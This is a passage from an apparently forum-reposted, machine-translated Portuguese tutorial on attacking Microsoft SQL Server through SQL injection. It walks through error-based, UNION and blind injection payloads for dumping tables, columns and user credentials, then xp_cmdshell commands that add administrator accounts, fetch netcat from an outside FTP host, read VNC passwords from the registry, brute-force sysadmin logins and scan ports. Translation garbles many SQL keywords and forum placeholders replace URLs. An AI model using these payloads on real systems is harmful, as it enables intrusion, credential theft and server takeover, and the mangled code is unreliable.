    SOAP é frequentemente usado em aplicações empresariais de grande escala , onde as tarefas individuais são executadas por computadores diferentes para
    melhorar o desempenho. É frequentemente encontrado em aplicação web que implantado como um front-end para um aplicativo existente.

    Vamos dar uma olhada para solicitação SOAP como esta:

    [ Solicitação SOAP ] ---------------------------------------------- --------------------------------

    POST / webservice / service.asmx HTTP/1.0
    User- Agent : Mozilla/4.0 (compatible; MSIE 6.0 ; MS Web Services Client Protocol 2.0.50727.1433 )
    Content-Type : text / xml; charset = UTF -8
    SOAPAction : " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... "
    Host: testcwh.cwh.net
    Content- Length: 345
    Esperar : 100-continue
    Connection : Keep-Alive

    < sabão < xml version = "1.0" encoding = "UTF -8" ? > : Envelope xmlns : soap = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... "
    xmlns : xsi = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... " xmlns : xsd = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... "> <soap:Body>
    < GetUserInfo


    [Pedido End] ---------------------------------------------- ---------------------------------

    Você pode ver nome de usuário (admin) ea senha ( 1234 ) , que enviam para o lado Server?

    O que aconteceria se nós injeção (') aspas simples para o campo de nome de usuário assim: <username> admin' </ username> <senha> 1234 </ password>
    antes de enviar para o lado do servidor. Podemos usar o proxy Web ( Burpsuite , Paros proxy) para interceptar pedido Sabão e responder .

    [ SABÃO irar ResponderQuando injetamos uma aspas simples ] ----------------------------------------- ---------

    HTTP/1.1 200 OK
    Data: Mon, 26 de janeiro de 2009 15:45:27 GMT
    Servidor: Microsoft-IIS/6.0
    X -Powered -By: ASP.NET
    X- AspNet -Version: 2.0.50727
    Cache- Control: private , max- age = 0
    Content-Type : text / xml; charset = UTF -8
    Content- Length: 1057
    Connection: close
    X- Lixo : xxxxxxxxxxx


    < sabão < xml version = "1.0" encoding = "UTF -8" ? > : Envelope xmlns : soap = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... "
    xmlns : xsi = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... " xmlns : xsd = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... "> <soap:Body>
    <GetUserInfoResponse Xmlns="http://tempuri.org/"> <GetUserInfoResult> <ErrorOccured> true < / ErrorOccured > <ErrorStr>
    System.Data.OleDb.OleDbException : Aspas não fechadas após a seqüência de caracteres .''
    Sintaxe incorreta próxima '81 ' .
    em System.Data.OleDb.OleDbDataReader.ProcessResults ( OleDbHResult hr)
    em System.Data.OleDb.OleDbDataReader.NextResult ()
    em System.Data.OleDb.OleDbCommand.ExecuteReaderIntern al (comportamento CommandBehavior , método String)
    em System.Data.OleDb.OleDbCommand.ExecuteReader (comportamento CommandBehavior )
    em Service.GetUserInfo (String username, password String) </ ErrorStr > <SqlQuery> SELECT * FROM utilizadores WHERE username = 'admin ''
    E
    </ GetUserInfoResponse > < / soap: Body> < / soap: Envelope>

    [End Responder ] ---------------------------------------------- ---------------------------------

    Okey , o sabão responder mensagem de erro de retorno assim. Podemos usar techiques simples para sqli que nós mostramos para você
    na seção [ 0x02b ]
    - ODBC Ataque mensagem de erro com "converter" , Vamos usar este sqli :

    admin ' e 1 = convert ( int , @ @ version ) -

    [Request SOAP / Responder ] -------------------------------------------- --------------------------

    Pedido *** ***
    POST / webservice / service.asmx HTTP/1.0
    User- Agent : Mozilla/4.0 (compatible; MSIE 6.0 ; MS Web Services Client Protocol 2.0.50727.1433 )
    Content-Type : text / xml; charset = UTF -8
    SOAPAction : " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... "
    Host: testcwh.cwh.net
    Content- Length: 384

    < sabão < xml version = "1.0" encoding = "UTF -8" ? > : Envelope xmlns : soap = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... "
    xmlns : xsi = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... " xmlns : xsd = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... "> <soap:Body>
    <GetUserInfo Xmlns="http://tempuri.org/"> <username> admin ' e 1 = convert ( int , @ @ version ) - </ username> <senha> 1234 </ password>
    </ GetUserInfo > < / soap: Body> < / soap: Envelope>


    Resposta *** ***
    HTTP/1.1 200 OK
    Data: Wed, 28 de janeiro de 2009 15:59:17 GMT
    Servidor: Microsoft-IIS/6.0
    X -Powered -By: ASP.NET
    X- AspNet -Version: 2.0.50727
    Cache- Control: private , max- age = 0
    Content-Type : text / xml; charset = UTF -8
    Content- Length: 1266
    Connection: close
    X- Lixo : xxxxxxxxxxx


    < sabão < xml version = "1.0" encoding = "UTF -8" ? > : Envelope xmlns : soap = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... "
    xmlns : xsi = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... " xmlns : xsd = " Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... "> <soap:Body>
    <GetUserInfoResponse Xmlns="http://tempuri.org/"> <GetUserInfoResult> <ErrorOccured> true < / ErrorOccured > <ErrorStr>
    System.Data.OleDb.OleDbException : Falha ao converter o valor nvarchar 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86 )
    9 de fevereiro de 2007 22:47:07
    Copyright ( c ) 1988-2005 Microsoft Corporation
    Express Edition no Windows NT 5.2 (Build 3790 : Service Pack 1)
    " O tipo de dados int .
    em System.Data.OleDb.OleDbDataReader.ProcessResults ( OleDbHResult hr)
    em System.Data.OleDb.OleDbDataReader.NextResult ()
    em System.Data.OleDb.OleDbCommand.ExecuteReaderIntern al (comportamento CommandBehavior , método String)
    em System.Data.OleDb.OleDbCommand.ExecuteReader (comportamento CommandBehavior )
    em Service.GetUserInfo (String username, password String) </ ErrorStr > <SqlQuery> SELECT * FROM utilizadores WHERE username = 'admin'
    e 1 = convert ( int , @ @ version ) - ' E
    </ GetUserInfoResult > </ GetUserInfoResponse > < / soap: Body> < / soap: Envelope>

    [ End] ----------------------------------------------- ----------------------------------------

    W00t ! ! W00t , podemos enumerar Versão MSSQL : Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86 ) .
    Então, podemos usar técnicas sqli que menciono acima ( tabelas de despejo , colunas de dados , etc.)

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x02c ] - Injeção de MSSQL com UNIÃO Ataque
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Este método difere dos dois métodos anteriores, porque nós não temos informações por erro
    mas , ao contrário, vê-lo em algum ponto da página retornada.

    Primeiro de tudo, temos que saber o número exato de coluna selecionada. Podemos encontrá-lo usando a cláusula ORDER BY.

    http://www.example.com/page.asp?id=1 ordem de 1 -
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordem por 2 -
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordem por 3 -
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... ordem de 4 -

    e assim por diante

    Nós observamos um resultado de cada pedido até chegarmos erro como este .

    -------------------------------------------------- ----------------------------------
    Microsoft SQL Native Client '80040e14 erro '[//COLOR]
    O ORDER BY posição de número 5 está fora do alcance do número de itens na lista de seleção.
    / showthread.asp , linha 9
    -------------------------------------------------- ----------------------------------

    Isso significa esta página, selecione quatro colunas da tabela e esse erro ocorre quando solicitamos http://www.example.com/page.asp?id=1 ordem por 5 -

    Agora, vamos usar o operador UNION para obter informações.

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1 e 1 = 2 SELECT UNION 11,22,33,44 -
    [End sqli ] ---------------------------------------------- ----------------------------

    Vamos ver "11" ou "22" ou "33" ou "44" apareceu em algum momento de página retornada . Assumimos que
    já que localiza a posição "44" ocorrer na tela.
    ( Devemos lembrar-nos esta posição , porque é onde as nossas informações serão apareceu )

    Como encontramos "44" na tela, podemos substituir "44" por "@ @ version [/COLOR" a fim de encontrar a versão do MSSQL .

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1 e 1 = 2 SELECT UNION 11,22,33 , @ @ version -
    [End sqli ] ---------------------------------------------- ----------------------------

    Veremos versão do MSSQL apareceu na posição de que "44" ocorreu.

    Neste ponto , nós sabemos que a próxima informação definitivamente ocorre nesta posição.

    O resto é para descobrir nomes de tabelas , nomes de colunas e dados. Como podemos ver na seção anterior,
    podemos obter os nomes das tabelas e nomes de coluna através de banco de dados " information_schema " .
    Nós ainda usamos o mesmo caminho nesta abordagem.

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1 e 1 = 2 SELECT UNION 11,22,33 , table_name de information_schema.tables - -
    [End sqli ] ---------------------------------------------- ----------------------------

    Vamos ver a primeira tabela na tela. Assumimos que é tabela chamada ' tópicos ' . Podemos encontrar na próxima tabela, na sequência do pedido .

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1 e 1 = 2 SELECT UNION 11,22,33 , table_name de information_schema.tables onde table_name não in ( " threads " ) -
    [End sqli ] ---------------------------------------------- ----------------------------

    Assumimos a mesa recuperado é «utilizadores» . Então , nós adicionamos uma lista de tabela conhecida até chegarmos em branco na posição que "44" ocorreu.
    Depois de obter todos os nomes da tabela que queremos , passamos a reunir nomes de coluna.

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1 e 1 = 2 SELECT UNION 11,22,33 , column_name de information_schema.columns onde table_name = ' users' -
    [End sqli ] ---------------------------------------------- ----------------------------

    A partir desta solicitação , vamos ver a primeira coluna em "usuários" de mesa. Assumimos que é ' uname ' . Para outra coluna , podemos usar seguinte pedido .

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1 e 1 = 2 SELECT UNION 11,22,33 , column_name de information_schema.columns onde table_name = 'users' e
    nome_da_coluna não em (' uname ') -

    [End sqli ] ---------------------------------------------- ----------------------------

    Ficamos com a segunda coluna que é " upass ' e continuamos anexando uma lista de colunas conhecido até obter o resultado em branco.
    A informação mais procurado é de dados. É muito simples depois de obtido os nomes de tabelas e nomes de coluna . Nós só usar seguinte pedido .

    [ Sqli ] ----------------------------------------------- -------------------------------
    http://www.example.com/page.asp?id=1 e 1 = 2 SELECT UNION 11,22,33 , uname dos usuários -
    [End sqli ] ---------------------------------------------- ----------------------------

    Vamos obter dados como administrador do pedido. A fim de obter outra linha , só anexar lista de informações da seguinte forma.

    [ Sqli ] ----------------------------------------------- -------------------------------
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 2 SELECT UNION 11,22,33 , uname de usuários onde uname não in ( 'admin' ) -

    [End sqli ] ---------------------------------------------- ----------------------------

    Agora, podemos enumerar os dados de descanso.

    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    [ 0x03 ] - MSSQL Cegos SQL Injection Ataque
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #


    Em alguns casos, o uso de injeção SQL normal, não é trabalho . Blind de injeção SQL é um outro método que pode ajudá-lo.
    O ponto importante para cegos injeção de SQL é a diferença entre o resultado da consulta válidos e inválidos .
    Você tem que injetar uma declaração para fazer consulta válida ou inválida e observar a resposta .
    Só porque você não ver todos os resultados , não significa que o seu SQL injetado não está sendo executado !

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x03a ] - Como testar sites que são vulneráveis ??em Blind SQL Injection
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Assumimos que Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... é url normal, para abrir a página web.

    Você pode tentar injetar uma declaração como esta

    http://www.example.com/page.asp?id=1 e 1 = 1
    e
    http://www.example.com/page.asp?id=1 e 1 = 2

    Se os resultados destes pedidos são diferentes , será um bom sinal para si.
    Este site pode cair para vulnerabilidade de injeção SQL blind/[COLOR]. Quando você coloca "id = 1 e 1 = 1" ,
    isso significa que a condição é verdadeira para a resposta deve ser normal .
    Mas o parâmetro " id = 1 e 1 = 2" indica que a condição é falsa
    e se o webmaster não proporcionar um filtro adequado , a resposta absolutamente diferente do anterior.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x03b ] - Determinar dados através de Blind SQL Injection
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Usando técnica cego, você tem que gastar mais tempo do que a injeção normal.
    Você pode obter apenas um personagem quando você enviar várias consultas ao servidor.
    Vamos dar um exemplo de consultar o primeiro caractere do nome do banco .
    Nós assumimos que o nome do banco de dados é membro . Portanto, o primeiro personagem é "m"
    que é o valor ASCII 109. ( Neste ponto , vamos supor que você sabe código ascii )

    Ok , em primeiro lugar , temos de saber que os resultados das solicitações de ter apenas 2 formas .

    1 . Resultado da consulta válida gosta Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 1
    2 . Resultado da consulta inválido gosta Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 2



    Os passos seguintes são a cada pessoa . Você idéia pode ser diferente da nossa idéia , a fim de pegar código ASCII [para testar consulta.

    http://www.example.com/page.asp?id=1 E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT LOWER ( nome_db ( 0) ) ) AS varchar ( 8000) ) , 1,1)) , 0 ) > 90
    Ev
    Nesta situação, o resultado será o resultado da consulta válida como Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 1
    (porque o primeiro caractere do nome do banco é "m" que o código ASCII é 109) . Então , tentamos

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT LOWER ( nome_db ( 0) ) ) AS varchar ( 8000) ) , 1,1)) , 0 ) > 120

    É, sem dúvida , que o resultado vai gostar Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 2 ( 109 porque absolutamente inferior a 120 ) .
    Em seguida, tentamos

    http://www.example.com/page.asp?id=1 E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT LOWER ( nome_db ( 0) ) ) AS varchar ( 8000) ) , 1,1)) , 0 ) > 105

    O resultado é um resultado da consulta válida e , neste momento , o valor ascii do primeiro caractere do nome do banco de dados é entre 105 e 120.
    Então , tentamos

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT LOWER ( nome_db ( 0) ) ) AS varchar ( 8000) ) , 1,1)) , 0 ) > 112 ===> resultado da consulta inválido
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT LOWER ( nome_db ( 0) ) ) AS varchar ( 8000) ) , 1,1)) , 0 ) > 108 ===> resultado da consulta válido
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT LOWER ( nome_db ( 0) ) ) AS varchar ( 8000) ) , 1,1)) , 0 ) > 110 ===> resultado da consulta inválido
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT LOWER ( nome_db ( 0) ) ) AS varchar ( 8000) ) , 1,1)) , 0 ) > 109
    ===> resultado da consulta inválido

    Você vê que o primeiro caractere do nome do banco de dados tem um valor ASCII , que é maior do que 108
    mas não é maior do que 109. Assim, podemos concluir que o valor ascii é igual a 109.

    You can prove with:

    http://www.example.com/page.asp?id=1 E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT LOWER ( nome_db ( 0) ) ) AS varchar ( 8000) ) , 1,1)) , 0 ) = 109.

    Com certeza que o resultado é como o resultado de http://www.target.com/page.php?id=1 e 1 = 1 .

    O resto que você tem a fazer é manipular algumas consultas para coletar suas informações preferido.
    Neste tutorial , vamos propor alguns exemplos de consultas a fim de encontrar os nomes de tabelas e colunas no banco de dados .


    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x03c ]- Explorar consulta de nome Tabela get
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    A fim de obter o nome da tabela , podemos usar o método acima para obter cada personagem de nome da tabela.
    A única coisa que temos que fazer é mudar a consulta para recuperar o nome da tabela do banco de dados atual.
    Como MSSQL não tem comando limite. Portanto, a consulta é um pouco complicada.

    http://www.example.com/page.asp?id=1 E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT TOP 1 BAIXAR ( nome)
    De sysobjects ONDE xtype = 0x55 eo nome do NOT IN (SELECT TOP 1 LOWER ( nome ) FROM sysobjects ONDE xtype = 0x55 ) )
    AS varchar ( 8000) ) , 1,1)) , 0) > 97


    A consulta acima é usado para determinar o primeiro caractere de primeira tabela no banco de dados atual. Se queremos encontrar segundo personagem de primeira tabela,
    o que podemos fazer pelo seguinte pedido:

    http://www.example.com/page.asp?id=1 E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT TOP 1 BAIXAR ( nome)
    De sysobjects ONDE xtype = 0x55 eo nome do NOT IN (SELECT TOP 1 LOWER ( nome ) FROM sysobjects ONDE xtype = 0x55 ) )
    AS varchar ( 8000) ) , 2,1) ) , 0) > 97


    Nós mudamos o segundo parâmetro da função substring de 1 para 2 , a fim de especificar a posição preferida do personagem em nome da tabela.
    Assim, se queremos determinar outras posições, que exigem apenas mudando segundo parâmetro da função substring .

    Em caso de outras tabelas , podemos encontrar outros nomes da tabela , alterando o segundo select
    de " SELECT TOP 1" para ser "SELECT TOP 2", " SELECT TOP 3" e assim por diante. por exemplo,

    http://www.example.com/page.asp?id=1 E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT TOP 1 BAIXAR ( nome
    De sysobjects ONDE xtype = 0x55 eo nome do NOT IN (SELECT TOP 2 INFERIOR (nome ) FROM sysobjects ONDE xtype = 0x55 ) )
    AS varchar ( 8000) ) , 1,1)) , 0) = 97


    O pedido acima irá determinar o primeiro caractere do nome da segunda tabela no banco de dados atual.


    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x03d ] - Explorar consulta para obter o nome da coluna
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Depois de obter os nomes de tabela , o próximo alvo de informações é absolutamente nomes das colunas.

    http://www.example.com/page.asp?id=1 E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT p.name FROM ( SELECT ( SELECT COUNT ( i.colid ) livrar
    syscolumns i WHERE ( i.colid < = o.colid ) AND id = (id SELECT FROM sysobjects WHERE name = ' nome_da_tabela ')) x , nome syscolumns o ONDE
    id = (id SELECT FROM sysobjects WHERE name = ' nome_da_tabela ')) como p WHERE ( px = 1) ) AS varchar ( 8000) ) , 1,1)) , 0) > 97


    A fim de contornar de filtragem citação mágica , você tem que mudar ' nome_da_tabela '
    ser a forma de concatenar comando char ( ) . por exemplo , se o nome da tabela é 'user' ,
    quando colocamos 'user' na consulta, "pode ??ser filtrada e nossa consulta será errado .
    A solução é converter 'user' para ser char ( 117) + char ( 115) + char ( 101) + char ( 114) .
    Assim , a consulta em que as mudanças cluase de "Where name = 'user' " para " Onde name = char ( 117) + char ( 115) + char ( 101) + char ( 114) " .
    Neste caso , podemos contornar filtragem citação mágicos. O resultado do pedido acima é o primeiro caractere do nome de tabela específica coluna.
    Quando queremos encontrar o segundo personagem da primeira coluna , podemos usar o mesmo método de obter o nome da tabela, alterando o segundo parâmetro
    função substring .

    http://www.example.com/page.asp?id=1 E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT p.name FROM ( SELECT ( SELECT COUNT ( i.colid ) livrar
    syscolumns i WHERE ( i.colid < = o.colid ) AND id = (id SELECT FROM sysobjects WHERE name = ' nome_da_tabela ')) x , nome syscolumns o ONDE
    id = (id SELECT FROM sysobjects WHERE name = ' nome_da_tabela ')) como p WHERE ( px = 1) ) AS varchar ( 8000) ) , 2,1) ) , 0) > 97

    O pedido acima referido é usado para determinar o segundo carácter do primeiro nome da coluna na tabela específica .
    No caso da determinação de outras colunas , pode-se fazer px alterando o valor de 1 a 2,3,4 e assim por diante . tal como,

    http://www.example.com/page.asp?id=1 E ISNULL (ASCII ( SUBSTRING ( CAST ( (SELECT p.name FROM ( SELECT ( SELECT COUNT ( i.colid ) livrar
    syscolumns i WHERE ( i.colid < = o.colid ) AND id = (id SELECT FROM sysobjects WHERE name = ' nome_da_tabela ')) x , nome syscolumns o ONDE
    id = (id SELECT FROM sysobjects WHERE name = ' nome_da_tabela ')) como p WHERE ( px = 2) ) AS varchar ( 8000) ) , 1,1)) , 0) > 97

    A primeira letra do nome segunda coluna da tabela específico pode ser determinado pelo pedido acima.


    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    [ 0x04] - Mais perigoso ataque de injeção SQL
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

    No capítulo [ 0x02 ] e [ 0x03 ]
    , Nós descrevemos sobre a recuperação de todos os dados úteis que foram extraídos do banco de dados
    através de técnicas de injeção de SQL - por exemplo, através da realização de um Ataque de UNION, Retornando dados em uma mensagem de erro e injeção de Blind.
    Este capítulo não vai mostrar apenas uma extração de dados, mas a execução de comandos SQL e vermes também.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x04a ] - Perigoso de procedimentos armazenados estendidos
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    xp_cmdshell - Executa um determinado comando no Sistema Operacional MSSQL
    - Disponível por padrão em todos MSSQL (desativado em MSSQL 2005)
    - Só pode ser executado por 'sa' e quaisquer outros usuários com privilégios de sysadmin '

    xp_regxxx - Read / Write chaves de registro , potencialmente incluindo o arquivo SAM lido

    Xp_regread
    Xp_regwrite
    xp_regdeletekey
    xp_regdeletevalue
    xp_regenumkeys
    xp_regenumvalues

    [ Exemplo para o que determina ações de sessão nula estão disponíveis no servidor ]
    exec Xp_regread HKEY_LOCAL_MACHINE , 'SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ parameters ', ' NullSessionShares '

    xp_servicecontrol - Permite gerenciar os serviços


    [Exemplo Command] ---------------------------------------------- ----------------------
    exec master .. xp_servicecontrol 'start ', ' agenda '
    exec master .. xp_servicecontrol 'start' , 'server'

    [End Command] ---------------------------------------------- --------------------------

    xp_availablemedia - Revela as unidades disponíveis na máquina
    xp_dirtree - Permite uma árvore de diretórios a serem obtidos
    xp_enumdsn - Enumera as fontes de dados ODBC no servidor
    xp_makecab - Permite que o usuário crie um arquivo compactado de arquivos no servidor
    xp_ntsec_enumdomains - Enumera os domínios que o servidor pode acessar
    xp_terminate_process - Finaliza um processo (PID )
    Modo Entrar - xp_loginconfig[/COLOR]

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    [ 0x04b ] - Técnicas Avançadas de SQL Injection
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    " xp_cmdshell " Stored Procedures, executa qualquer comando shell no servidor com as mesmas permissões que está actualmente em execução.
    Por padrão, apenas sysadmin é permitido usá-lo e em SQL Server 2005 é desativado por padrão (que pode ser ativada novamente usando sp_configure )[/COLOR]

    EXEC master.dbo.xp_cmdshell ' net user cwh cwh1234 / add' , - / / O uso de add user " cwh " no sistema.
    ' Net administradores localgroup CWH / add ' EXEC master.dbo.xp_cmdshell , - / / O uso de privilégio escalada " cwh " para grupo de administração


    Exemplo, através de injeção de SQL em um campo numérico por meio de um pedido GET :
    http://www.example.com/news.asp?id=1 ; ' comando' exec master.dbo.xp_cmdshell

    Em MSSQL 2005 você pode precisar reativar xp_cmdshell primeiro como ele está desativado por padrão:[/COLOR]

    EXEC sp_configure ' show advanced options ', 1 , -
    RECONFIGURE ; -
    EXEC sp_configure ' xp_cmdshell ', 1 , -
    RECONFIGURE ; -

    Em MSSQL 2000:

    Se você tem privilégios 'sa' , mas xp_cmdshell foi removido / desabilitado com sp_dropextendedproc ,
    podemos simplesmente injetar o seguinte código:

    EXEC sp_addextendedproc ' xp_anyname ', ' xp_log70.dll '; -
    [/COLOR]
    Isso cria um novo procedimento armazenado ' xp_anyname ' ligada à xp_log70.dll , que fornece a funcionalidade xp_cmdshell .
    Se o código anterior não funcionar, isso significa que o xp_log70.dll foi movido ou excluído. Neste caso, é preciso injetar o seguinte código:

    CRIAR PROCEDIMENTO xp_cmdshell ( @ cmd varchar (255 ) , @ Wait int = 0) AS
    DECLARE @ result int , @ OLEResult int , @ RunResult int
    DECLARE @ int ShellID
    EXECUTAR @ OLEResult = sp_OACreate ' WScript.Shell ', @ ShellID OUT
    IF @ OLEResult <> 0 SELECT @ result = @ OLEResult
    IF @ OLEResult <> 0 RAISERROR (' CreateObject % 0 X ', 14 , 1, @ OLEResult )
    EXECUTAR @ OLEResult = sp_OAMethod @ ShellID , ' Run' , Null , @ cmd , 0, @ Espere
    IF @ OLEResult <> 0 SELECT @ result = @ OLEResult
    IF @ OLEResult <> 0 RAISERROR (' Run % 0 X ', 14 , 1, @ OLEResult )
    EXECUTAR @ OLEResult = sp_OADestroy @ ShellID
    @ return resultado

    Dica ** **

    [ Pergunta]
    Determinou que a aplicação web se conecta ao banco de dados com a conta sem privilégios .
    Portanto, não podemos executar XP_CMDSHELL ou acessar quaisquer dados interessantes ?

    [ Responder ]
    Não é o fim, Primeiro temos de enumerar as contas de usuário de MSSQL com privilégios de administrador do sistema.

    [Código ] ----------------------------------------------- ---------------------------------------
    [COLOR="Blue"]http://www.example.com/news.asp?id=1 união todas selecionar null, null , nome , null , null , null , null de master .. syslogins onde o nome não in ( 'sa' ) e sysadmin = 1; -[/COLOR
    [Código End] ---------------------------------------------- ------------------------------------

    [ Resultado] ----------------------------------------------- -------------------------------------
    SA
    cwh
    exemplo
    [ Resultado Final ] ---------------------------------------------- ----------------------------------

    Podemos usar " OPENROWSET " para re-conectar ao mesmo servidor de banco de dados em cada enumerado
    conta sysadmin e senhas acho. Este foi automatizado através de um script Perl para fazer força bruta senha adivinhação através da injeção de SQL:

    [Código ] ----------------------------------------------- ---------------------------------------
    http://www.example.com/news.asp?id=1 união SELECT * FROM OPENROWSET (' sqloledb ', ' server = VICTIMDBNAME ; uid = $ USER ; pwd = $ PASS ', ' select * from master .. sysusers ') -
    [Código End] ---------------------------------------------- ------------------------------------

    / / Resultado : Constatou que " CWH " tem um "1234"

    Alavancou a função " OPENDATASOURCE " para executar um procedimento armazenado no banco de dados , com as credenciais de administrador do sistema " CWH " :

    [Código ] ----------------------------------------------- ---------------------------------------
    http://www.example.com/news.asp?id=1 ; EXEC OPENDATASOURCE (' sqloledb ', ' Persist Security Info = False; DataSource = VICTIMDBNAME ; UserID = CWH ; Password = 1,234 ). mestre
    . dbo.xp_cmdshell 'net user hacklol 1234 / adicionar " ;

    [Código End] ---------------------------------------------- ------------------------------------

    / / Sujo Ataque: usar TFTP Netcat e executar uma shell reverso. Ganhou acesso à Internet para a rede interna .

    = Que tal Carregar de executáveis ??? =

    Uma vez que podemos usar xp_cmdshell ( ou a um nativo ou um personalizado ), podemos facilmente fazer upload de arquivos executáveis ??no DB Server de destino .
    Uma escolha muito comum é netcat.exe , mas qualquer trojan será útil aqui. Se o alvo está autorizada a iniciar conexões FTP para a máquina do testador,
    tudo que é necessário é injetar as seguintes consultas :

    exec master .. xp_cmdshell 'echo aberto ftp.tester.org > ftpscript.txt '; -
    exec master .. xp_cmdshell 'echo >> USUÁRIO ftpscript.txt '; -
    exec master .. xp_cmdshell 'echo PASS >> ftpscript.txt '; -
    exec master .. xp_cmdshell 'echo >> bin ftpscript.txt '; -
    exec master .. xp_cmdshell 'echo obter nc.exe >> ftpscript.txt '; -
    exec master .. xp_cmdshell 'echo quit >> ftpscript.txt '; -
    exec master .. xp_cmdshell 'ftp -s: ftpscript.txt '; -

    = Como sobre como recuperar a senha do VNC registro? =

    '; Declare @ binário para fora (8)
    exec master .. Xp_regread
    @ RootKey = ' HKEY_LOCAL_MACHINE '
    @ key = ' SOFTWARE \ ORL \ WinVNC3 \ Default '
    @ value_name = 'password' ,
    @ value = @ saída para fora
    selecionar cast ( @ como bigint ), como x em TEMP -

    ' E um em (select cast ( x como varchar ) de temp) -

    = Que tal Scanning Port? =

    Podemos usar a vulnerabilidade de injeção SQL como um scanner de IP / Porta rudimentar da rede interna ou Internet

    [Código ] ----------------------------------------------- ---------------------------------------
    http://www.example.com/news.asp?id=1 união SELECT * FROM OPENROWSET (' sqloledb ', ' uid = SA; pwd = ; Rede = DBMSSOCN ; Address = 10.10.10.12,80 ; timeout = 5 »
    " select * from tabela ' ) -

    [Código End] ---------------------------------------------- ------------------------------------

    Este código de saída a conexão 10.10.10.12 pela porta 80 . Se a porta estiver fechada, o tempo de espera (5 segundos)
    no parâmetro será consumida e uma mensagem de erro de exibição :

    "SQL Server não existe ou acesso negado "

    Se a porta está aberta , o tempo limite não seria consumido e mensagens de erro será retornado:

    " Erro geral de rede . Verifique a documentação da rede "
    ou
